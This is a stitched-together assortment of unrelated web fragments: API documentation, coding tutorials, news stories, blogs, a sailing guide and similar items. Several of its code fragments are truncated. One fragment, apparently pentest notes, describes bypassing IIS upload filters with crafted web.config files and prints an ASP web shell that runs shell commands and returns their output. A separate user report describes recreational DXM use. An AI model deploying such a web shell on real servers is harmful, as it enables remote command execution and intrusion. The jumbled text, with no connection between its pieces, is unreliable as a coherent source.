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J. Yang, X. Wu, J. Liang, X. Sun, M. Cheng, P. L. Rosin, and L. Wang. Self-paced balance learning for clinical skin disease recognition. IEEE Transactions on Neural Networks and Learning Systems, pages 1–15, 2019. doi:10.1109/TNNLS.2019.2917524.
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Te Pi, Xi Li, Zhongfei Zhang, Deyu Meng, Fei Wu, Jun Xiao, and Yueting Zhuang. Self-paced boost learning for classification. In Proceedings of the Twenty-Fifth International Joint Conference on Artificial Intelligence, IJCAI‘16, 1932–1938. AAAI Press [download], 2016. URL: http://dl.acm.org/citation.cfm?id=3060832.3060891.


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Island Racer
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| void | playBackgroundMusic () |
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| void | stopBackgroundMusic () |
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| void | setBackgroundMusicVolume (int volume) |
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| void | playCarSound () |
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| void | stopCarSound () |
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| void | setCarSoundVolume (int volume) |
| Adjust car sound volume. More... | |
| void | playButtonSound () |
| Start button sound. More... | |
| void | playWaterSound () |
| Start water sound. More... | |
| void | setButtonSoundVolume (int volume) |
| Stop button sound. More... | |
| void | playRaceStart1Sound () |
| Start race sound 1. More... | |
| void | playRaceStart2Sound () |
| Start race sound 2. More... | |
| void | playFinishSound () |
| Start finish sound. More... | |
Signals | |
| void | finished () |
| Signal when thread is finished. More... | |
Public Member Functions | |
| ~Sound () | |
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| static Sound * | getSoundInstance (QObject *parent) |
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Handles all sound interaction.
This class is implemented with the singelton design pattern to ensure that only one instance is running. The sound is played in a seperate background thread.
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signal |
Signal when thread is finished.
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static |
Static method for singelton access.
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slot |
Start background music.
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slot |
Start button sound.
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slot |
Start car sound.
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slot |
Start finish sound.
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slot |
Start race sound 1.
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slot |
Start race sound 2.
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Start water sound.
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Adjust background music volume.
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Stop button sound.
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Adjust car sound volume.
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Stop background music.
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Stop car sound.


Library: Data
Package: DataCore
Header: Poco/Data/AbstractPreparation.h
Description
Interface for calling the appropriate AbstractPreparator method
Inheritance
Known Derived Classes: Preparation
Member Summary
Member Functions: operator =, preparation, prepare
Types
PreparatorPtr
typedef AbstractPreparator::Ptr PreparatorPtr;
Ptr
typedef SharedPtr < AbstractPreparation > Ptr;
Constructors
AbstractPreparation
AbstractPreparation(
PreparatorPtr pPreparator
);
Creates the AbstractPreparation.
AbstractPreparation
AbstractPreparation
AbstractPreparation(
const AbstractPreparation & param35
);
Destructor
~AbstractPreparation
virtual ~AbstractPreparation();
Destroys the AbstractPreparation.
Member Functions
prepare
virtual void prepare() = 0;
Prepares data.
operator =
AbstractPreparation & operator = (
const AbstractPreparation & param36
);
preparation
PreparatorPtr preparation();
Returns the preparation object
Variables
_pPreparator
PreparatorPtr _pPreparator;


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53% of users abandon sites that take longer than 3 seconds to load.https://www.thinkwithgoogle.com/intl/en-154/insights-inspiration/research-data/need-mobile-speed-how-mobile-latency-impacts-publisher-revenue/
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A Progressive Web App (PWA) is a web app that uses modern web capabilities to deliver an app-like experience to users.https://ionicframework.com/docs/developer-resources/progressive-web-apps/
Service worker is a programmable network proxy, allowing you to control how network requests from your page are handled.https://developers.google.com/web/fundamentals/primers/service-workers/
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('/sw.js');
}
// A Tale of Three JavaScript files
const x = "Hello Example";
fetch(url, {
method: "POST",
headers: {
"Content-Type":"application/json",
"Accept":"Application/json"
},
body: JSON.stringify({
username: userName,
message: userMsg
})
})
The manifest informs details for websites installed on the homescreen of a device, providing users with quicker access and a richer experiencehttps://developer.mozilla.org/en-US/docs/Web/Manifest
<link rel="manifest" href="/manifest.json">
{
"name": "RotationConf the Total Original...",
"short_name": "RotationConf",
"start_url": "/index.html",
"scope": ".",
"display": "standalone",
"orientation": "portrait-primary",
const x = "PWABuilder Example";
var dbPromise = idb.open('my-schedule', 1, function (db) {
if (!db.objectStoreNames.contains('schedule')) {
db.createObjectStore('course', {keyPath: 'classId'});
}
});
return dbPromise
.then(function(db) {
var tx = db.transaction('course', 'readonly');
var courses = tx.objectStore('course',);
courses.put(courses[classId]);
return tx.complete;
});
if ('serviceWorker' in navigator && 'SyncManager' in window) {
navigator.serviceWorker.ready
.then(function(sw) {
return sw.sync.register('schedule-update');
}
}
self.addEventListener('sync', function(event) {
console.log('Service Worker Background syncing', event);
if (event.tag === 'schedule-update') {
event.waitUntil(
...
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if ('Notification' in window){
Notification.requestPermission(result => {...})
}
...
new Notification('Buy stuff now ',
{
body: 'something good is on sale',
tag: 'sale-offer'
})


Stephen Mulhern threatens to 'smash' Ant and Dec's faces in after brutal I'm A Celebrity jibe
Ant McPartlin has returned to TV to present I'm A Celeb alongside Declan Donnelly, after Holly Willoughby replaced him last year while he dealt with personal issues
by James Rodger, https://www.facebook.com/jamesrodgerjournalistStephen Mulhern has warned Ant and Dec: "I'll smash your faces in".
The comments from Stephen, who is also a present on ITV, came after the cheeky Geordie duo made a swipe at him on I'm A Celebrity... Get Me Out Of Here!
Ant McPartlin has returned to TV to present I'm A Celeb alongside Declan Donnelly, after Holly Willoughby replaced him last year while he dealt with personal issues.
However, the pair's 'cruel' joke on I'm A Celebrity has left Stephen incensed - and he issued a brutal response to the pair's brazen cheekiness.
The cheeky presenters joked that Stephen should front a 'cheap, one dimensional and very low rent show' based on a game invented in the jungle by the I'm A Celebrity campmates.
Dec joked: "Don’t miss Stephen Mulhern’s Quick Draw next Saturday only on ITV."
Ant added: "He’ll present anything."
And turning to face the camera, Dec said: "Hi Stevie."
The duo tweeted to ask if Stephen was watching and he replied drily: "Didn’t see the show, as was too busy filming the Xmas special of In for A Penny, making more money for you two millionaires #happychristmas. Mention me again and I’ll smash your faces in."
Fans found the exchange hilarious, reports the Manchester Evening News .

"And the funny thing is, he’s busy because of them," laughed another.


Intro to Coding Concepts
or
What is that Web Developer talking about?
Thank You
This curriculum originated from the Girl Develop It Intro to Web Concepts Curriculum
This is made possible by Open Source Software
What we'll cover in this class
How the Web works
Programming languages
Brief intro to Data Science
Some hands-on programming
Plus terms and definitions throughout
Hardware/software - how the internet works, client vs server
Programming languages - front v. backend, open v. closed source, client v. server, differences in
languages
Building: Overview of process, considerations, UX/IA, downsides of WYSIWYG, tools
Web Dev: Hiring, becoming one, team structure
What to expect
This is a survey of a very broad topic
Get a sense of what you'd like to know more about
Write some code and see it working in your browser
I don't know everything, and neither will you
Have fun! (and ask questions)
Expect a survey following the class to determine what you'd like to learn next!
What is the world wide web?
How does the web work?
Let's take a tour! A typical web site will live or is "hosted" on a web server. Web servers are often large
computers connected to a network.
Photo credit computerroom085 cc
Step 1: Type an address into the address bar
Browser starts the process on your behalf.
We're skipping or condensing steps for clarity.
Step 2: Your computer looks up the website's IP address
Each website has a unique code, called an IP address, like a street address.
A good way to think of the basics of how the web works is to think of a restaurant.
Think of the web site and the IP address as the address of a restaurant.
DNS Servers are spread throughout the world.

Your computer also has an IP address; that's how the page gets back to you.
Step 3: Your computer connects to the server
Your computer uses the IP address to find the correct web server and sends a request for a page.
A DNS lookup is like using your GPS to find a restaurant.
A DNS lookup gives your computer directions on how to find the server that hosts the website you are
looking for.
Step 4: Your computer requests information from the server.
You're at the restaurant and your waiter comes to your table. "What would you like today?"
"Hello! I would like your finest HyperText Markup Language(HTML) with a side of CSS and JavaScript"
Step 5: The server gets your computer's request
The kitchen (server) uses serverside code
and a database to crunch the data you want and prepare to send it back to you.
Each files comes a separate request
Requests are packaged into packets
Step 6: The server sends its repsonse over HTTP
The server converts its response to HTML/CSS and JavaScript so that your browser can understand it and
sends it back to your computer.
Each files comes a separate request
Requests are packaged into packets
Step 7: Your browser displays the page
Your browser interprets the code and assembles all the files into a page you can see and use. Doesn't that
taste delicious?
Exercise: your first web page
To your computers!
Step 1: Open a text editor
Windows has a built-in text editor called Notepad. On a Mac it's called TextEdit. They're basic but they'll do for today!
Step 2: Create an empty file
With most editors CTRL-N (⌘-N on Mac) creates a new file
Save the file to your desktop, and call it HelloWorld.html
Step 3: Write some HTML code
Type the following text exactly — computers are very picky — into
HelloWorld.html
:

Hello, World!

The

and

define a tag .
Tags are how you explain to the browser how a given piece of text should be displayed.
This is an

tag, which tells your browser that its content is a level-1 heading.
The content of this tag is the text "Hello, World!"
Save the file on the desktop.
Step 4: Test your code
Open HelloWorld.html
in your web browser. (Usually you can double-click the file, or drag it
into a browser window. Ask for help if it doesn't work!)
It should look something like this:
Step 5: Edit your code
Let's change the appearance (or style ) of your page. In your editor, change the text of
HelloWorld.html
:

Hello, World!

Reload your browser. It should look like this:
Experiment with changing the style or the text.
Client Side vs. Server Side
Client Side: Stuff happening on your computer independently of the server
Server Side: Requests being fulfilled by a server ("send me these documents")
For our discussion, think client = browser
Clients make requests, servers fulfill them
Remember this ?
Terms
HTML : Hyper Text Markup Language - The code structure used to convey
the content of a web site
CSS : Cascading Style Sheets - A language used to describe the
presentation of the content
JavaScript : Programming language that is read by browsers and can animate
web pages and populate data
What is a Programming Language?
Humans understand text; computers understand 1s and 0s. A programming language is a piece of software which bridges the gap.
You write commands for the computer as text, and the programming language translates them into 0s and 1s for the computer.
Each different programming language has its own definition of what the commands do and how the text should be formatted.
Programming Languages
Client Side
HTML
CSS
JavaScript
Flash (with plugin)
Server Side
PHP
Perl
Python
Also Javascript. (It's complicated)
.NET
Java
ColdFusion
Ruby
Databases
Java != JavaScript
Java:
Server-side
Object-oriented
Requires special parser (JVM)
By Sun Microsystems
JavaScript:
Primarily client-side
Primarily written procedurally
Parsed by any browser
By Netscape
Not languages
Libraries , like jQuery & Mootools, are collections of programming shortcuts for a
language
Frameworks , like Rails and Angular, a collection of assets/tools that helps you work in a
particular language
Content Management Systems , like WordPress, are tools that build webpages
AJAX , Asynchronous JavaScript And XML, a technique for
returning results from the server without needing to refresh a page.
How Do I Know What Language To Use?
First, what are you building? Who is it for? What does it have to do?
Second, does it have any special considerations, like security, authentication, database
requirements, APIs (Application Programming Interface)?
Third, are you working for a client? Do they have special requirements?
What languages to use
You'll definitely use HTML and CSS
You may use JavaScript to make things interactive
If you want to store or retrieve data, you'll need a server-side language
Server-side languages: What are the differences?
The main difference is syntax, the set of rules for how you write a language.
They have slightly different strengths and philosophies
Which you choose to use will depend on
What you are familiar with or want to learn
What your host supports
Community and documentation
Hello world
PHP
echo "Hello, world!";
Java
class HelloWorld {
static public void main( String args[] ) {
System.out.println( "Hello World!" );
}
}
Hello world
Python
'Hello, world!'
Ruby
puts 'Hello, world!'
Hello world
JavaScript
Not server-side, but just for example
document.writeln('Hello, World!');
Exercise: Making your web page interactive
Step 1: create a button
Open HelloWorld.html
back up in your text editor.
Let's add a <button>
tag to the page.

Hello, World!

<button>Click me</button>
Step 2: Make the button do something
Clicking on the button doesn't do anything, because we haven't told the computer what should happen.
Let's add an onclick
action to the button. onclick
contains some JavaScript code which the
computer will run when you click on the button.

Hello, World!

<button onclick="alert('You clicked me!')">Click me</button>
Make sure to copy this exactly. Pay extra attention to the two different types of quote marks.
alert
tells the computer to create a popup window. In this case we're telling it to say "You clicked me!"
Step 3: Test your code
Reload the file in your web browser and try clicking the button!
Data Science
We have received lots of requests about Data Science, so here goes a quick summary about what's it about.
Data Science is a multi-pronged discipline, you have to know:
statistics
software engineering (programming and algorithms)
data curation
and much more!
Data Science
Data Scientists organize and analyze data, and ultimately predict the future (with a certain degree of
confidence.)
Organize : It's typical for the data on a company to be disgregated, in
silos, incomplete, on incompatible formats. How to make sense of the mess?
Analyze : Through understanding business and being able to operate with
the data with software and algorithms, gain further understanding and recommend courses of action. Once the
data can be combined, what can we learn from it?
Predict : Based on the past, train models that will predict (even in real
time) certain events of interest. Given my past, how will the future look like?
Homework
Download this file containing a list of technologies: http://bit.ly/StackCodingHomework
For each one, use Google to answer the following questions:
What is this technology? Is it a language , a library , a
database , or something else?
What type of developers use this technology? Web (front- or back-end?), desktop, mobile, data scientist,
or another type of developer?
What other technologies are usually associated with this one?
You can discuss your research in your tutorial groups next week


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About ICDSE:
The rapid development of computer science and information technology in the last couple
of decades has generated massive amount of data and fundamentally changed every
field in science and engineering. Many disciplines are now rich in data and
tend to adopt data science or data-intensive engineering methodologies to do
research and development. Scientific approach to process data involving the
engineering aspects as well, would lead to major strides in the domains of data,
information and knowledge which contribute to the evolving knowledge society.
This conference is intended to take stock of the trends and developments in the
globally competititve environment as well as to provide indicators for future
directions to researchers and practitioners The conference will include a peer
reviewed program of technical sessions, workshops, tutorials, and demonstration
sessions. This conference provides a forum for leading experts from the Data Science,
embedded systems programming and high-performance computing community to present
their latest research, exchange ideas, and conduct brainstorming applications.
ICDSE-2019 has a special theme this year, that is "Data, Devices, Decisions for
a Digital World". This is particularly relevant considering the fact that it is
being held in IIT Patna, India.


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We show the application name when users grant authority. Users should see a name they trust instead of an unrecognised product name.
If you think the name is unrecognisable, recommend that the developer use their organisation’s name.
Any new name must follow our naming guidelines (opens in new tab).
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This is an example of pushing IBM Connections Cloud "Community Apps" into a standard HTML page.
This standard HTML page will still require access to the IBM Connections Cloud instance in order to properly inject the context into the community app.
Scroll down to the hotpink-bordered iframes at the bottom of the page to see the resulting working example.
Each app requires a context so that it can understand what to show. The context uses a postMessage
with information about the context -- displayed in the iframes below.
The context is populated with information from both XCC and IBM Connections using the Javascript inline in this page (see the page source):
var message = {
source: {
resourceId: 'zzzzz', // e.g. The community UUID or XCC ID for the page or community equivalent
resourceName: 'XCC Community Equivalent\'s Name', // e.g. the name of the WorkSpace On page or community equivalent
resourceType: 'xcc-community-equivalent', // A unique resourceType for XCC
orgId: 'o12345', // The orgId/customerId from IBM Connections
widgetInstanceId: '__widgetInstanceId__' // Populated from the data-widget-instance-id attribute on the iframe - make this unique
},
user: { // From IBM Connections
userId: 'u1234', //
orgId: 'o12345', // Could be different from the source.orgId if the user is a visitor/guest
displayName: 'David Simpson', //
email<EMAIL_ADDRESS>//
},
extraContent: {
canContribute: 'true', // From IBM Connections
canPersonalize: 'true' // 'true' || 'false' - Means that the user is a community owner or equivalent, so can configure the app
}
};
In this test harness each app required a unique data-widget-instance-id
attribute on the iframe
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<iframe class="spoke"
data-widget-id="xxx1"
data-widget-instance-id="xxx1_yyy"
src="https://rawgit.com/dvdsmpsn/ibm-connect-2016-examples/master/community-app/skeleton.html"
scrolling="no"></iframe>
The iframes need to resize when the content gets larger or smaller. This happens when a postMessage
is sent from the iframe content to the host page.
The iframes need the ability to open dialog modals in the host page. This happens when a postMessage
is sent from the iframe content to the host page.


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If you like nature and travel photography check Les Picker out - I just set up a blog/site for him about a week ago. It's brand new so don't expect a ton of past content but he has started regularly posting on the kind of stuff he is interested in. I helped him with batch uploading some old content just for testing and he has started putting new posts up. Right now he is traveling by plane, train, and automobile to remote areas of the Canadian Rockies, or the Yukon, or some such place that the temperature dips below 80 sometimes - In other words you will not find me there anytime before global warming does it's work up there.
Long story short is - he is a good friend.
This image at the top of the post is one of his - taken last winter/spring - when it was even colder up there.  Even I have to admit that the place looks like some sort of fantasy hallucination. The image is also a print that I am making for some of Les' print customers - yep he can't be bothered making prints either - he has me do it. Too too busy traveling and making photos for that stuff.
Anyway - let me know what you think if you have a couple of seconds.
RB
Ps. He is a fellow Nikon shooter/Aperture user.


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Structure for MCAN Tx Buffer element which takes data as a pointer. Using this the MCAL CAN driver can optimize one full copy of CAN payload by a simple pointer assignment. Please note that as the data field is a pointer so wrong value for payload size passed from application will lead to data corruption. More...
#include <mcan.h>
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| uint32_t | id |
| uint32_t | rtr |
| uint32_t | xtd |
| uint32_t | esi |
| uint32_t | dlc |
| uint32_t | brs |
| uint32_t | fdf |
| uint32_t | efc |
| uint32_t | mm |
| uint8_t * | data |
Structure for MCAN Tx Buffer element which takes data as a pointer. Using this the MCAL CAN driver can optimize one full copy of CAN payload by a simple pointer assignment. Please note that as the data field is a pointer so wrong value for payload size passed from application will lead to data corruption.
| uint32_t MCAN_TxBufElementNoCpy::brs |
Bit Rat Switching 0 = CAN FD frames transmitted without bit rate switching 1 = CAN FD frames transmitted with bit rate switching
| uint8_t* MCAN_TxBufElementNoCpy::data |
Data bytes. Only first dlc number of bytes are valid.
| uint32_t MCAN_TxBufElementNoCpy::dlc |
Data Length Code 0-8 = CAN + CAN FD: transmit frame has 0-8 data bytes 9-15 = CAN: transmit frame has 8 data bytes 9-15 = CAN FD: transmit frame has 12/16/20/24/32/48/64 data bytes
| uint32_t MCAN_TxBufElementNoCpy::efc |
Event FIFO Control 0 = Don’t store Tx events 1 = Store Tx events
| uint32_t MCAN_TxBufElementNoCpy::esi |
Error State Indicator 0 = ESI bit in CAN FD format depends only on error passive flag 1 = ESI bit in CAN FD format transmitted recessive
| uint32_t MCAN_TxBufElementNoCpy::fdf |
FD Format 0 = Frame transmitted in Classic CAN format 1 = Frame transmitted in CAN FD format
| uint32_t MCAN_TxBufElementNoCpy::id |
Identifier
| uint32_t MCAN_TxBufElementNoCpy::mm |
Message Marker
| uint32_t MCAN_TxBufElementNoCpy::rtr |
Remote Transmission Request 0 = Transmit data frame 1 = Transmit remote frame
| uint32_t MCAN_TxBufElementNoCpy::xtd |
Extended Identifier 0 = 11-bit standard identifier 1 = 29-bit extended identifier


Use the arrows to move. Hold shift to dash. 1,2 and 3 for zoom. Double click on screen to fullscreen. D for debug colision. F for fps. G for grid. K for keys debug. Use the enter key to talk to npc. Use the spacebar to open the menu. Go to east for pillar test. Go west for Madra town. Use Q to cast Move. Use W to cast Frost. Use E to cast Growth. It can take a while to load. I'm not compressing the source for now. See battle animations test. See the source code.
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I demonstrate how to use Bridge Design Pattern to manage how message is sent (one hierarchy of Implementor), stored (second hierarchy of Implementor) and directed by rest of system (third hierarchy - Abstraction).


For IIS / ASP: If you upload a *.config file with asp appended to the end, the asp code will be executed.
This is for 'older' versions of ISS.
In IIS7 (and higher), it is possible to do similar tricks by uploading or making a web.config file. A few of these tricks might even be applicable to IIS6 with some minor changes. The techniques below show some different web.config files that can be used to bypass protections around the file uploaders.
https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/
Interesting examples are in this repo: https://github.com/wireghoul/htshells
See Child Pages
Using /opt/shells/web.aspx
<%
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("")
o = cmd.StdOut.Readall()
Response.write(o)
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‘With social media it’s very difficult’: Kinross Olympian tells of body image pressure
Perthshire runner Eilidh Doyle has said there is too much pressure on athletes over body image.
by Agency ReporterThe Olympic 400m hurdler said competitors are now expected to look a certain way and promote themselves by posting pictures of their body on social media.
She said that can put undue stress on athletes and they can be attacked over the way they look by online trolls.
Doyle, 32, who is expecting her first child with husband Brian in January, said because of the issue, she does not think she would survive in the sport if she was starting out now.
She said: “In athletics everybody has different figures but you are wearing small shorts, you are wearing a crop top, so your figures are on display and it can be difficult.
“Even now I will be in teams with the 4x400m girls and I’m looking at them and some of them have got these completely ripped stomachs and I’m like ‘Oh God, I’m going to have to stand in a photograph with them at the end of this’.
“I think it’s inevitable that image can play a factor but I think with social media it’s very difficult.
“I started my career in 2008 when social media wasn’t really a big thing and if I was a 22-year-old starting out now would I stay in the sport? Would I have lasted as long as I have?
“I don’t know if I would because things are very different now.”
Doyle said she had her sponsorship funding cut when she turned 30 and that sponsors were increasingly only interested in appearance and public profile rather than performance.
On the Scottish Gymnastics podcast, she said: “Before, sponsorship deals and kit deals were all based on your ability.
“Now it is based on how many followers you’ve got on Twitter or how good you look in the kit.”
Earlier this year, fellow athlete Eilish McColgan, from Dundee, hit out at online trolls who ‘body shamed’ her over her weight.
The middle distance runner said she has to regularly put up with comments about her being “too skinny”.


Everton signing Sidibe wears Red tracksuit & doesn’t care despite team-mate anger
by Biscan's BootsDjibril Sidibe will have wound up every single Everton fan with this interview – which is all we can ask for as Reds!
The Frenchman is on loan at Goodison from Monaco – and has spoken about the first time he arrived at training wearing a red tracksuit…
According to the right-back, his new team-mates told him this simply wasn’t on, but he wasn’t bothered.
Speaking to French publication L’Est Eclair, cited in the Star, Sidibe said: “The first time I turned up to the training centre, I was dressed, without any meaning behind it, in a red Nike tracksuit.
“Everyone looked at me weirdly and said: ‘Never, never, never!’. I asked the guy was the problem was. You simply can’t wear the colours of the rival team.
“People here are in the extreme, but I told them: ‘Hey, guys. I’m only on loan!’”.
This reminds us of the outrage regarding Ronald Koeman’s red Christmas tree, actually, which was one of the funniest things in 2016.
We face Everton on December 4, but first have to get through games v Crystal Palace and Brighton – neither of which will be easy considering our current injury problems.
Jurgen Klopp’s side have an eight point lead but this could quickly disappear during the hectic December schedule.
As fans, we need to make sure our support remains exceptional throughout in order to help the players through a very difficult period.


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network has variable delays depending on traffic flows concurring on the
same path, that causes several delay peaks and a tail.
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I've been using DXM off and on for a year and a half, sometimes going months without doing it, sometimes doing it 3 or 4 times a month. I've used a total of maybe 15 times, the majority of my experiences were 3rd plateau trips.
I'm convinced at this point that DXM has done SOMETHING to me. I'm not sure what exactly, but I notice definite effects. I've had HPPD since my 3rd trip, but it never got much worse than it was then. It's mostly the minor stuff, like static vision, audio misinterpretations, tracers, etc..... Smoking marijuana seems to make the effects stronger, but they never get to the point of 'unbearable'.
My balance also got kinda screwy after a few robotrips (but I also suffered some head trauma when someone tried to kill me by hitting my head with a skateboard, so it was already a little screwy). I've developed a minor speech impediment, almost like a stutter, where I get stuck trying to force a word out, or pronounce the sound wrong.
All in all, yeah, there are some after effects. They aren't major ones though, and I'm just fine living with them. If they ever start to actually interfere with my life (they aren't bad enough to interfere really, yet. They're just there. If I didn't know the cause though, they definitely would because I used to simply think I was going completely insane) then I'll end up quitting DXM. But I don't wanna do that yet. Robo taught me many amazing things, and I simply wouldn't be the same person without it.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


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The Cubs are back in business, winning Game 5 of the World Series on Sunday evening by a score of 3-2. We share our thoughts on the game.
Now that the Cubs have sent the series back to Cleveland, we also look ahead to the last two games of the series.


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Fully works only in Chrome and Firefox. In Edge there is no collapsible behavior. Check level up for advised solution.
The triangle which reflects the open state could be hidden but there is no standard way. In this page Chrome and Firefox code co-exist:
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Note: Unfortunately, at this time there's no built-in way to animate the transition between open and closed.


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Has your cat been shedding more pounds than hair lately? Is her rich fur coat looking dull? These could be signs of roundworm.
Roundworms are spaghetti-like parasites around three to five inches long that may appear in Fluffy's feces. These uninvited guests take out a temporary lease on your cat's intestine, where they steal some of kitty's chow before it is digested.


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---
title: "PEN & INK 2"
date: "2000-01-01 20:05:13 -06:00"
categories:
- adult
- eh
subtitle: ""
layout: "events"
event-image: "pen-and-ink-two.jpg"
event-dates: "WEDNESDAYS, MAY 13 - JUNE 10"
event-location: "Red Butte Garden Classroom"
button-type: "register"
tickets-link: "https://55218.blackbaudhosting.com/55218/Pen--Ink-2-13May2020"
registration-info: "Class Limit: 15
Prerequisite: Pen & Ink 1
Questions? Email<EMAIL_ADDRESS>instructor-info: "Elaine Hultgren"
member-cost: "$188"
public-cost: "$235"
event-notes: ""
tickets-button: ""
published: true
---
REGISTRATION REQUIRED
This class is an extension of Pen & Ink 1, which is a prerequisite for Pen & Ink 2. Scientific pen strokes will be reviewed and applied to botanical drawings and a creative personal project. This class is required to take Scientific Illustration 1.
WEDNESDAYS, MAY 13 - JUNE 10 @ 6-9PM
MATERIALS LIST:
- A pad of tracing paper (Canson Calco red, white and black cover) only available locally at Hobby Lobby (40% off coupon) and possibly Blick in Sugarhouse
- A roll of Scotch brand removable tape Purple plaid card
- A 12” ruler
- 3 to 4 fiber-tipped drawing pens. Recommended brands can be purchased at Blick/Utrecht in Sugarhouse
- Staedler Pigment Liner: best, archival, waterproof, lightfast and longer lasting. The best buy is a set of four pens in case, fine line to medium thick. Price: $13.15 locally. You can also buy individual pens for $3.59 to add to your collection
- Micron Pigma archival, waterproof, fade-proof and is also available at Blick Utrecht, but is not as long lasting. These are my 2nd choice because they too are available locally, sets available. Buy 005, .01, .02 and .05
OR a set of three point sizes: Black — One each of 01 (0.25 mm), 03 (0.35 mm), and 05 (0.45 mm). Black ink. ADD the 005 which is not included in set price of $6.59. Individual pens cost: $2.59
- Pencils: 2H, 4H, and a Pentel Clic Eraser (a white plastic retractable eraser sold at Staples & Office Max) and a kneaded gray eraser (wildly available)
- 11x14 Bristol 300 Series “Smooth” paper pad. You might already have this paper
- Bristol pad. Smooth or Plate finish. This is an excellent paper for finished plates


This small island, lying south of Bequia, is just 3 miles long. It is wooded and hilly, and has several white sandy beaches. A favourite holliday spot for the rich.
Position 12° 52.7'N, 61° 11.4'W.
Clearance is carried out by Customs and Immigration at the airport.
Last updated March 2016.
The only mooring allowed in Mustique is at mooring buoys in Britannia Bay (fees are paid to the Mustique Company). There is a landing jetty here.
Mooring fees for Mustique are:
Yachts up to 70 feet: 200 EC$ or 75 US$
Yachts 71 to 85 feet: 300 EC$ or 110 US$
These fees are one night only, with two free consecutive nights.
Anchoring is may be possible if all the moorings are occupied but it is prohibited elsewhere in the island.
There is no chandlery and no apparent electrical or mechanical services.
Sometimes, when celebrities are on the island, freedom of movement is restricted to Britannia Bay. In such cases, it is even impossible to rent a minimoke or a taxi.
Last updated March 2016.


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MegaMailMan is a service which can send e-mail through several different e-mail providers, such as SendGrid, MailGun, and Mandrill. MegaMailMan is able to switch between providers depending on availability of the service or based on user preference. MegaMailMan provides a RESTful API for specifying different fields of an e-mail, which are translated to the specifications of the service being used to send the e-mail. The full source for MegaMailMan can be found on Steven Viola's GitHub
This webapp demonstrates the features of the MegaMailMan API. Through this app, you can fill out the fields of the e-mail, and select from the available services which services you want to try to send an e-mail with. If no services are selected, than by default, the API will try to send an e-mail via all available services, sequentially as they are listed in this app, until the e-mail is sent successfully. When you submit the e-mail information, a message will appear letting you know your e-mail was sent and what service it was sent with. If there is an error with a field, you will get a warning. In the event that none of the selected services are available for use, an error message will appear informing you the e-mail could not be sent.
This API is built using Google Cloud Endpoints, which provides an API Explorer User interface to interactively test the API without the need of a client application. You can access the API Explorer for MegaMailMan here. The API Explorer will provide useful information for testing different scenarios, including response headers, the raw JSON Response, and the Fields used to POST the information to the API
You can also invoke the API using tools like cURL or the Google Javascript client library and everything in between. This webapp implements the Google Javascript Client Library in order to interact with the MegaMailMan API. For running through automated tests, cURL is used. Through both tools, we can invoke the same API in order to send e-mails.
The MegaMailMan API takes a JSON object in a post request with the necessary fields. The following cURL is an example on how easy it is to send an e-mail using this API
curl https://mega-mailman.appspot.com/_ah/api/megamailman/v1/send -d '{"sender":"from@sender.com","subject":"Subject","body":"HELLO WORLD!!!","cc":["cc1@example.com","cc2@example.com"],"to":["to1<EMAIL_ADDRESS>API will return a JSON object informing the user the request was successful and provides which service the e-mail was sent with. The API returns with an HTTP status code of 200 when the API request succeeds. An example response is:
{ "message": "Sent Mail", "service": "sendgrid" }In the event that there is a syntax error with the information in the request, the request will return a 400 error, and a JSON object with more details, like so:
{ "error": { "code": 400, "errors": [ { "domain": "global", "message": "The address in the to field is invalid", "reason": "badRequest" } ], "message": "The address in the to field is invalid" } }If the API request can not send an e-mail with any of the preferred or default services, or if there is an internal server error, then a response code of 503 will be returned. In this response, there will also be a JSON object detailing more information behind the error
{ "error": { "code": 503, "errors": [ { "domain": "global", "message": "Exhausted services to send email with", "reason": "backendError" } ], "message": "Exhausted services to send email with" } }


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Over 400 kinds of plants grow and flourish in Arches, despite extreme temperatures and low rainfall. Plants play an important role in the Arches National Park ecosystem. Plants have adaptations that put them into three different categories: drought escapers, drought resistors and drought evaders. Drought escapers are plants that take advantage of good growing conditions when they exist. For example, these plants will grow when there is enough water. Seeds of these plants may wait years until there is a rainstorm, and then grow. Many flowers and grasses are in this category.
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In her first ever headline Australian tour, get set to be blown away by the extra- ordinary Grammy Award winning singer, songwriter and actress Jill Scott with her November 21, 2013, Brisbane, The Tivoli November 23, 2013, Sydney · Enmore Theatre November. 25, 2013 November 27, 2013
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A documentary about wounded veterans that Roger championed gets a screening at the Rehabilitation Institute of Chicago and screenings in New York and Los Angeles…
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The Exercise
In lesson 5 of RubyMonk.com, there’s an exercise with the following objective:
to capitalize the first character of each part of the name as it combined them.
The code they provide is:
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First Attempt
I worked out the code below but then realized it didn’t solve the problem.
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This ends up with "emperor Joshua Abraham Norton"
. I didn’t capitalize the first word emperor
.
Second Attempt
Ok, no problem. I’ll just capitalize full_name
.
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No. You can’t do that. That will end up capitalizing just the first word emperor
. You will end up with "Emperor joshua abraham Norton"
. The reason is the block variable full_name
remembers the last value calculated inside the block. Because we did not pass an initial value to the inject method, it uses the first value in your collection by default, in this case "emperor"
. Inside the body of the block, we take "emperor"
and capitalize it followed by "joshua"
and capitalize that. We put the two together to get the complete string "Emperor Joshua"
. You can try this out in irb by truncating your array to just two elements, ["emperor", "joshua"]
.
So far so good. Next, we use this result of the calculation carried out in the body of the block and pass it to the block variable full_name
. The block variable name
is set to the next item in our collection, which is "abraham"
. We run through the body of the block again which leads us to capitalize "Emperor Joshua"
and "abraham"
. That gives us "Emperor joshua"
and "Abraham"
. That’s where things go wrong. When you capitalize
a string, you are putting all characters except the first character in their lower case form.
A Hack
How then, do you capitalize the first name? By default, inject
will use "emperor"
as its initial value since I have passed no parameter to the inject
method. What if I did try to pass in a parameter? What would that parameter be? What if I passed in an empty string? Ah, in that case, the full_name
will be equal to ''
, the empty string.
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If I only made a call to "#{full_name} #{name.capitalize}"
, I would have an extra space in front of the name, " Emperor Joshua Abraham Norton"
, by the time block iterated through all the items in the array. To get rid of this, I just strip
the whitespace. Do you have another of solving this problem with the constraint of using the inject
method? I’d love to hear your ideas.


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Edit client configuration:
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